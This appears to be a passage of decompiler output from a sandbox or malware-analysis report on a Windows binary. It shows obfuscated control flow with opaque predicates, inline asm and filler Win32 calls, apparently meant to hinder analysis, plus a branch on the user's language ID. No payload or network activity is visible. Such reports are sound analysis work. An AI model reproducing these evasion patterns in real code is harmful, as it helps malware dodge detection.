				_t265 = E00007FF67FF6ED184484(_t1295);
				if (_t1169 >= 0) goto 0xed0f8719;
				_t1170 = ((_t265 & 0x8000007f) - _t975 | r14d) + _t975 - 0x55;
				if (_t1170 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t270 = E00007FF67FF6ED184484(_t1295);
				if (_t1170 >= 0) goto 0xed0f8734;
				_t1171 = ((_t270 & 0x8000007f) - _t975 | r14d) + _t975 - 0x55;
				 *0xed236f60 = 0 | _t1171 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1295);
				if (_t1171 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1172 = dil - 0xf;
				if (_t1172 >= 0) goto 0xed0f87a6;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1172 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1172 != 0) goto 0xed0f87a6;
				if (_t1172 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1295);
				if (_t1172 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1172 != 0) goto 0xed0f88ca;
				if (_t1172 != 0) goto 0xed0f88ca;
				_t294 = E00007FF67FF6ED184484(_t1295);
				if (_t1172 >= 0) goto 0xed0f87eb;
				if (((_t294 & 0x8000007f) - _t975 | r14d) + _t975 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1174 = 0xe + _t975 - sil;
				if (_t1174 < 0) goto 0xed0f87f2;
				_t300 = E00007FF67FF6ED184484(_t1295);
				if (_t1174 >= 0) goto 0xed0f8812;
				_t1175 = ((_t300 & 0x8000007f) - _t975 | r14d) + _t975 - 0x16;
				 *0xed236f60 = 0 | _t1175 != 0x00000000;
				goto 0xed0f88f6;
				_t305 = E00007FF67FF6ED184484(_t1295);
				if (_t1175 >= 0) goto 0xed0f8835;
				_t1176 = ((_t305 & 0x8000007f) - _t975 | r14d) + _t975 - 0x29;
				if (_t1176 == 0) goto 0xed0f8888;
				_t310 = E00007FF67FF6ED184484(_t1295);
				if (_t1176 >= 0) goto 0xed0f884a;
				_t1177 = ((_t310 & 0x8000007f) - _t975 | r14d) + _t975 - 0x5a;
				if (_t1177 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t315 = E00007FF67FF6ED184484(_t1295);
				if (_t1177 >= 0) goto 0xed0f8864;
				_t1178 = ((_t315 & 0x8000007f) - _t975 | r14d) + _t975 - 0x5a;
				 *0xed236f60 = 0 | _t1178 != 0x00000000;
				_t320 = E00007FF67FF6ED184484(_t1295);
				if (_t1178 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t325 = E00007FF67FF6ED184484(_t1295);
				if (((_t320 & 0x8000007f) - _t975 | r14d) + _t975 - 0x29 >= 0) goto 0xed0f8898;
				_t1180 = ((_t325 & 0x8000007f) - _t975 | r14d) + _t975 - 0x17;
				if (_t1180 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t330 = E00007FF67FF6ED184484(_t1295);
				if (_t1180 >= 0) goto 0xed0f88b7;
				_t1181 = ((_t330 & 0x8000007f) - _t975 | r14d) + _t975 - 0x17;
				 *0xed236f60 = 0 | _t1181 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1295);
				if (_t1181 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1181 != 0) goto 0xed0f88ee;
				if (_t1181 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t975;
				dil = 0x4b;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1181 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1181 < 0) goto 0xed0f892e;
				_t1182 = dil - 0x4f;
				if (_t1182 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1295);
				if (_t1182 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1295);
				if (_t1182 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1182 >= 0x00000000;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t975 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t975 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1186 = 0x63 + _t975 - 0x74;
				if (_t1186 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t366 = E00007FF67FF6ED184484(_t1295);
				if (_t1186 >= 0) goto 0xed0f89e9;
				if (((_t366 & 0x8000007f) - _t975 | r14d) + _t975 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1188 = 0x16 + _t975 - 0x19;
				if (_t1188 < 0) goto 0xed0f89f0;
				_t372 = E00007FF67FF6ED184484(_t1295);
				if (_t1188 >= 0) goto 0xed0f8a10;
				_t1189 = ((_t372 & 0x8000007f) - _t975 | r14d) + _t975 - 0x1b;
				 *0xed236f60 = 0 | _t1189 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1295);
				if (_t1189 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1189 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1295);
				if (_t1189 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1189 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t975 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1192 = dil - 0x4a;
				if (_t1192 >= 0) goto 0xed0f8ae6;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t396 = E00007FF67FF6ED184484(_t1295);
				if (_t1192 >= 0) goto 0xed0f8ae1;
				if (((_t396 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t975;
				 *0xed236f60 = sil & 0xffffffff;
				_t1194 = sil - 0x12;
				if (_t1194 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t402 = E00007FF67FF6ED184484(_t1295);
				if (_t1194 >= 0) goto 0xed0f8b19;
				_t1195 = ((_t402 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x6d;
				if (_t1195 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1295);
				if (_t1195 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1195 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1295);
				if (_t1195 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1195 >= 0x00000000;
				_t419 = E00007FF67FF6ED184484(_t1295);
				if (_t1195 >= 0) goto 0xed0f8b7b;
				_t1196 = ((_t419 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x6d;
				 *0xed236f60 = 0 | _t1196 != 0x00000000;
				dil = 0x26;
				_t424 = E00007FF67FF6ED184484(_t1295);
				if (_t1196 >= 0) goto 0xed0f8b9f;
				_t1197 = ((_t424 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0xf;
				if (_t1197 >= 0) goto 0xed0f8bbe;
				_t429 = E00007FF67FF6ED184484(_t1295);
				if (_t1197 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
				_t434 = E00007FF67FF6ED184484(_t1295);
				if (((_t429 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0xf >= 0) goto 0xed0f8bd1;
				_t1199 = ((_t434 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x50;
				if (_t1199 >= 0) goto 0xed0f8bf7;
				_t439 = E00007FF67FF6ED184484(_t1295);
				if (_t1199 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t439 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x00000050 < 0x00000000;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t1201 = dil - 0x30;
				if (_t1201 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t446 = E00007FF67FF6ED184484(_t1295);
				if (_t1201 >= 0) goto 0xed0f8c25;
				_t1202 = ((_t446 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x68;
				if (_t1202 < 0) goto 0xed0f8c4a;
				_t451 = E00007FF67FF6ED184484(_t1295);
				if (_t1202 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t456 = E00007FF67FF6ED184484(_t1295);
				if (((_t451 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t456 & 0x8000007f) - _t975 | 0xffffff80) + _t975 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t1205 = dil - 0x1f;
				if (_t1205 < 0) goto 0xed0f8c65;
				_t463 = E00007FF67FF6ED184484(_t1295);
				if (_t1205 >= 0) goto 0xed0f8c91;
				_t1206 = ((_t463 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x62;
				 *0xed236f60 = 0 | _t1206 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t470 = E00007FF67FF6ED184484(_t1295);
				if (_t1206 >= 0) goto 0xed0f8cd6;
				_t1207 = ((_t470 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 8;
				if (_t1207 < 0) goto 0xed0f8cff;
				_t475 = E00007FF67FF6ED184484(_t1295);
				if (_t1207 >= 0) goto 0xed0f8cf2;
				_t1208 = ((_t475 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 8;
				 *0xed236f60 = 0 | _t1208 >= 0x00000000;
				dil = 7;
				_t480 = E00007FF67FF6ED184484(_t1295);
				if (_t1208 >= 0) goto 0xed0f8d15;
				_t1209 = ((_t480 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x1e;
				if (_t1209 <= 0) goto 0xed0f8d3b;
				_t485 = E00007FF67FF6ED184484(_t1295);
				if (_t1209 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t485 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x0000001e > 0x00000000;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t1211 = dil - 0x14;
				if (_t1211 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t975;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t975;
				_t495 = E00007FF67FF6ED184484(_t1295);
				if (_t1211 >= 0) goto 0xed0f8d87;
				_t1212 = ((_t495 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x46;
				if (_t1212 >= 0) goto 0xed0f8dac;
				_t500 = E00007FF67FF6ED184484(_t1295);
				if (_t1212 >= 0) goto 0xed0f8d9c;
				_t1213 = ((_t500 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x46;
				 *0xed236f60 = 0 | _t1213 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t975;
				_t505 = E00007FF67FF6ED184484(_t1295);
				if (_t1213 >= 0) goto 0xed0f8dc2;
				_t1214 = ((_t505 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - _t975;
				if (_t1214 >= 0) goto 0xed0f8de3;
				_t510 = E00007FF67FF6ED184484(_t1295);
				if (_t1214 >= 0) goto 0xed0f8dd6;
				_t1215 = ((_t510 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - _t975;
				 *0xed236f60 = 0 | _t1215 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1215 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1215 < 0) goto 0xed0f8e21;
				_t1216 = dil - bpl;
				if (_t1216 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t522 = E00007FF67FF6ED184484(_t1295);
				if (_t1216 >= 0) goto 0xed0f8e54;
				if (((_t522 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1218 = dil - 0x60;
				if (_t1218 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1295);
				if (_t1218 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1218 != 0) goto 0xed0f8e94;
				if (_t1218 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t975;
				goto 0xed0f8ec0;
				_t532 = E00007FF67FF6ED184484(_t1295);
				if (_t1218 >= 0) goto 0xed0f8ea4;
				_t1219 = ((_t532 & 0x8000007f) - _t975 | 0xffffff80) + _t975;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1219 != 0) goto 0xed0f8eb8;
				if (_t1219 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t975;
				GetMessageExtraInfo();
				_t540 = E00007FF67FF6ED184484(_t1295);
				if (_t1219 >= 0) goto 0xed0f8ed6;
				if (((_t540 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t975;
				 *0xed236f60 = sil & 0xffffffff;
				_t1222 = sil - 0x34;
				if (_t1222 < 0) goto 0xed0f8edd;
				_t547 = E00007FF67FF6ED184484(_t1295);
				r14d = 0x8000007f;
				if (_t1222 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t552 = E00007FF67FF6ED184484(_t1295);
				r14d = 0x8000007f;
				if (((_t547 & r14d) - _t975 | 0xffffff80) + _t975 - 0x5d >= 0) goto 0xed0f8f42;
				_t555 = (_t552 & 0x8000007f) - _t975 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1225 = _t555 - 0x15;
				if (_t1225 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1295);
				if (_t1225 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1225 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1295);
				if (_t1225 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1225 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t975;
				_t568 = E00007FF67FF6ED184484(_t1295);
				if (_t1225 >= 0) goto 0xed0f8fb7;
				_t1226 = ((_t568 & r14d) - _t975 | 0xffffff80) + _t975 - 0x15;
				 *0xed236f60 = 0 | _t1226 == 0x00000000;
				dil = 0x5f;
				_t573 = E00007FF67FF6ED184484(_t1295);
				if (_t1226 >= 0) goto 0xed0f8fd9;
				_t1227 = ((_t573 & r14d) - _t975 | 0xffffff80) + _t975 - 0x27;
				if (_t1227 <= 0) goto 0xed0f8ffd;
				_t578 = E00007FF67FF6ED184484(_t1295);
				if (_t1227 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t578 & r14d) - _t975 | 0xffffff80) + _t975 - 0x00000027 > 0x00000000;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t1229 = dil - 0x73;
				if (_t1229 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1295);
				if (_t1229 >= 0) goto 0xed0f9034;
				_t591 = E00007FF67FF6ED184484(_t1295);
				if (_t1229 >= 0) goto 0xed0f9045;
				dil = dil + _t975;
				 *0xed236f60 = 0 | ((_t591 & r14d) - _t975 | 0xffffff80) + _t975 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1232 = 0x52 + _t975 - 0x5b;
				if (_t1232 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1232 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1232 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t975;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1234 = r13b - 0x11;
				if (_t1234 < 0) goto 0xed0f90be;
				_t607 = E00007FF67FF6ED184484(_t1295);
				r13d = 0xffffff80;
				if (_t1234 >= 0) goto 0xed0f90e8;
				_t1235 = ((_t607 & r14d) - _t975 | r13d) + _t975 - 7;
				if (_t1235 >= 0) goto 0xed0f910e;
				_t612 = E00007FF67FF6ED184484(_t1295);
				if (_t1235 >= 0) goto 0xed0f90fe;
				_t1236 = ((_t612 & r14d) - _t975 | r13d) + _t975 - 7;
				 *0xed236f60 = 0 | _t1236 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1236 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1236 != 0) goto 0xed0f915f;
				if (_t1236 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1238 = 0x21 + _t975 - 0x33;
				if (_t1238 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t627 = E00007FF67FF6ED184484(_t1295);
				if (_t1238 >= 0) goto 0xed0f9198;
				if (((_t627 & r14d) - _t975 | r13d) + _t975 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t633 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t633 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1296, _a152, _t1307);
				 *0xed236f60 = 0x30;
				_t1242 = 0x30 + _t975 - sil;
				if (_t1242 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t975;
				GetForegroundWindow();
				_t637 = E00007FF67FF6ED184484(_t1295);
				if (_t1242 >= 0) goto 0xed0f921e;
				_t1243 = ((_t637 & r14d) - _t975 | r13d) + _t975 - 0x77;
				if (_t1243 <= 0) goto 0xed0f9242;
				_t642 = E00007FF67FF6ED184484(_t1295);
				if (_t1243 >= 0) goto 0xed0f9234;
				_t1244 = ((_t642 & r14d) - _t975 | r13d) + _t975 - 0x77;
				 *0xed236f60 = 0 | _t1244 > 0x00000000;
				GetDoubleClickTime();
				_t648 = E00007FF67FF6ED184484(_t1295);
				if (_t1244 >= 0) goto 0xed0f9259;
				_t1245 = ((_t648 & r14d) - _t975 | r13d) + _t975 - 0x7c;
				if (_t1245 <= 0) goto 0xed0f927d;
				_t653 = E00007FF67FF6ED184484(_t1295);
				if (_t1245 >= 0) goto 0xed0f926f;
				_t1246 = ((_t653 & r14d) - _t975 | r13d) + _t975 - 0x7c;
				 *0xed236f60 = 0 | _t1246 > 0x00000000;
				_t658 = E00007FF67FF6ED184484(_t1295);
				if (_t1246 >= 0) goto 0xed0f928e;
				_t1247 = ((_t658 & r14d) - _t975 | r13d) + _t975 - 0x6f;
				if (_t1247 >= 0) goto 0xed0f92b2;
				_t663 = E00007FF67FF6ED184484(_t1295);
				if (_t1247 >= 0) goto 0xed0f92a4;
				_t1248 = ((_t663 & r14d) - _t975 | r13d) + _t975 - 0x6f;
				 *0xed236f60 = 0 | _t1248 < 0x00000000;
				_t668 = E00007FF67FF6ED184484(_t1295);
				if (_t1248 >= 0) goto 0xed0f92c3;
				_t1249 = ((_t668 & r14d) - _t975 | r13d) + _t975 - 0x24;
				if (_t1249 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t674 = E00007FF67FF6ED184484(_t1295);
				if (_t1249 >= 0) goto 0xed0f92df;
				_t1250 = ((_t674 & r14d) - _t975 | r13d) + _t975 - 0x24;
				 *0xed236f60 = 0 | _t1250 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t1295);
				if (_t1250 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1250 <= 0) goto 0xed0f9398;
				_t685 = E00007FF67FF6ED184484(_t1295);
				if (_t1250 >= 0) goto 0xed0f9330;
				if (((_t685 & 0x8000007f) - _t975 | r13d) + _t975 - 0x4d <= 0) goto 0xed0f934c;
				_t1077 = r14b;
				 *0xed236f60 = _t1077 & 0x000000ff;
				_t1252 = _t1077 + _t975 - 0x28;
				if (_t1252 < 0) goto 0xed0f933c;
				_t691 = E00007FF67FF6ED184484(_t1295);
				if (_t1252 >= 0) goto 0xed0f935f;
				_t1253 = ((_t691 & 0x8000007f) - _t975 | r13d) + _t975 - 0x4d;
				 *0xed236f60 = 0 | _t1253 > 0x00000000;
				E00007FF67FF6ED184484(_t1295);
				if (_t1253 >= 0) goto 0xed0f937f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1253 > 0x00000000;
				goto 0xed0f93ed;
				_t704 = E00007FF67FF6ED184484(_t1295) & 0x8000007f;
				if (_t704 >= 0) goto 0xed0f93ad;
				_t1255 = (_t704 - _t975 | r13d) + _t975 - 0x64;
				if (_t1255 >= 0) goto 0xed0f93ba;
				GetTickCount();
				goto 0xed0f93ca;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0x62;
				_t709 = E00007FF67FF6ED184484(_t1295);
				if (_t1255 >= 0) goto 0xed0f93da;
				 *0xed236f60 = 0 | ((_t709 & 0x8000007f) - _t975 | r13d) + _t975 - 0x00000064 < 0x00000000;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x4a;
				if (0x4a + _t975 - 0x55 < 0) goto 0xed0f93f7;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x55 < 0) goto 0xed0f9407;
				r14b = 0x4f;
				IsZoomed(??);
				r14b = r14b + _t975;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x53 < 0) goto 0xed0f941d;
				 *0xed236f60 = 0x33;
				_t1260 = 0x33 + _t975 - sil;
				if (_t1260 < 0) goto 0xed0f943a;
				E00007FF67FF6ED184484(_t1295);
				if (_t1260 >= 0) goto 0xed0f945d;
				asm("movsd xmm6, [0x11070b]");
				r13d = 0x58;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1260 <= 0) goto 0xed0f94cf;
				_t1261 = r15b - 0x14;
				if (_t1261 >= 0) goto 0xed0f94cf;
				dil = r13b;
				dil = dil + _t975;
				 *0xed236f60 = dil & 0xffffffff;
				_t726 = E00007FF67FF6ED184484(_t1295);
				if (_t1261 >= 0) goto 0xed0f94a2;
				if (((_t726 & 0x8000007f) - _t975 | 0xffffff80) + _t975 - 0x73 > 0) goto 0xed0f94ad;
				_t1263 = dil - 0x65;
				if (_t1263 < 0) goto 0xed0f9482;
				r15b = r15b + _t975;
				 *0xed236f60 = r15b & 0xffffffff;
				E00007FF67FF6ED184484(_t1295);
				if (_t1263 >= 0) goto 0xed0f946b;
				goto 0xed0f946b;
				E00007FF67FF6ED184484(_t1295);
				r15d = 0x8000007f;
				if (_t1263 >= 0) goto 0xed0f94ea;
				asm("movsd xmm6, [0x11069e]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1263 <= 0) goto 0xed0f952f;
				 *0xed1ee3f0();
				E00007FF67FF6ED184484(_t1295);
				if (_t1263 >= 0) goto 0xed0f9516;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1263 > 0x00000000;
				goto 0xed0f955d;
				E00007FF67FF6ED184484(_t1295);
				if (_t1263 >= 0) goto 0xed0f953f;
				_t755 = E00007FF67FF6ED184484(_t1295);
				if (_t1263 >= 0) goto 0xed0f954f;
				_t1264 = ((_t755 & r15d) - _t975 | 0xffffff80) + _t975 - 0x6c;
				 *0xed236f60 = 0 | _t1264 < 0x00000000;
				GetWindowTextLengthW(??);
				_t761 = E00007FF67FF6ED184484(_t1295);
				if (_t1264 >= 0) goto 0xed0f9575;
				_t1265 = ((_t761 & r15d) - _t975 | 0xffffff80) + _t975 - 0x24;
				if (_t1265 > 0) goto 0xed0f9598;
				_t766 = E00007FF67FF6ED184484(_t1295);
				if (_t1265 >= 0) goto 0xed0f958a;
				_t1266 = ((_t766 & r15d) - _t975 | 0xffffff80) + _t975 - 0x24;
				 *0xed236f60 = 0 | _t1266 <= 0x00000000;
				 *0xed236f60 = _t975;
				GetDesktopWindow();
				GetTopWindow(??);
				GetCommandLineW();
				GetTopWindow(??);
				GetMessageTime();
				 *0xed236f60 = _t975;
				E00007FF67FF6ED184484(_t1295);
				if (_t1266 >= 0) goto 0xed0f95d6;
				asm("movsd xmm6, [0x1103fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1295);
				if (_t1266 >= 0) goto 0xed0f95f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1266 > 0x00000000;
				GetSystemDefaultLangID();
				E00007FF67FF6ED184484(_t1295);
				if (_t1266 >= 0) goto 0xed0f9623;
				asm("movsd xmm6, [0x110445]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1266 != 0) goto 0xed0f9669;
				if (_t1266 != 0) goto 0xed0f9669;
				E00007FF67FF6ED184484(_t1295);
				if (_t1266 >= 0) goto 0xed0f964b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1266 != 0) goto 0xed0f965f;
				if (_t1266 != 0) goto 0xed0f965f;
				goto 0xed0f9661;
				 *0xed236f60 = 0;
				goto 0xed0f96ba;
				_t801 = E00007FF67FF6ED184484(_t1295);
				if (_t1266 >= 0) goto 0xed0f9679;
				if (((_t801 & r15d) - _t975 | 0xffffff80) + _t975 - 0x78 <= 0) goto 0xed0f96b4;
				_t1268 = sil - 0x43;
				if (_t1268 >= 0) goto 0xed0f96ae;
